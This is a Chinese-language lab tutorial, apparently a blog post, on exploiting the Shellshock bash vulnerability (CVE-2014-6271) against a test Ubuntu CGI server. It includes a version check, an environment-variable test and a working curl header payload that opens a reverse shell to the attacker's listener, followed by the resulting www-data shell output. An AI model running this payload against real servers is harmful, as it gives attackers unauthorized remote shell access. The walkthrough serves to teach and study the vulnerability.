CVE-2014-6271“破壳”漏洞利用过程

前言

CVE-2014-6271(即“破壳”漏洞)广泛存在与GNU Bash 版本小于等于4.3的*inux的系统之中,只要目标服务器开放着与Bash相交互的应用与服务,就有可能成功触发漏洞,获取目标系统当前Bash运行用户相同权限的shell接口。

0x01实验环境

攻击机:kali linux
目标机: Ubuntu
ip: 10.10.10.129

0x02漏洞验证

  • Bash版本小于等于4.3可能存在漏洞
    可以使用如下命令查看bash版本:
root@kali:~#bash --version
  • 本地验证,使用如下命令:
 root@kali:~#env x='() { :;}; echo vulnerable' bash –c "echo This is a test"

若存在漏洞,将会回显:

 vulnerable
 This is a test

0x03环境检查

首先应该确定目标机的cgi 脚本可以正常的从攻击端访问到,我的cgi脚本内容如下:

#!/bin/bash
echo 'Content-type:text/html'
echo ''
echo 'This is a bash script'

存放于目标机(apache服务器)的/usr/lib/cgi-bin/echo.cgi 中。
提示:如果使用apache服务器,那么脚本的头部如果不是 echo ‘Content-type:text/html’ 访问时可能会报错。

尝试访问:

root@kali:~#curl http://10.10.10.129/cgi-bin/echo.cgi
This is a bash script

访问成功。

0x04漏洞利用

主要分为两步:

1.在kali中开启监听本地端口接收反弹回来的shell

 root@kali:~#nc -lv 666

2.打开另一个终端制造访问请求,利用shellshock漏洞,同时建立读写交互文件

 root@kali:~#curl –H 'x: () { :;}; /bin/bash –i >& /dev/tcp/10.10.10.157/666 0>&1' http://10.10.10.129/cgi-bin/echo.cgi

其中反弹shell的方式请查阅一句话反弹shell的相关资料。

以上两步运行过后,在第一个终端将会显示目标机的交互shell:

 root@kali:~# nc -lv 666
Listening on [0.0.0.0] (family 0, port 666)
Connection from 10.10.10.129 42006 received!
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
www-data@ubuntu:/usr/lib/cgi-bin$ whoami
www-data

成功反弹shell,可见是www-data用户的权限。

你可能感兴趣的:(linux,vulnerable,shell)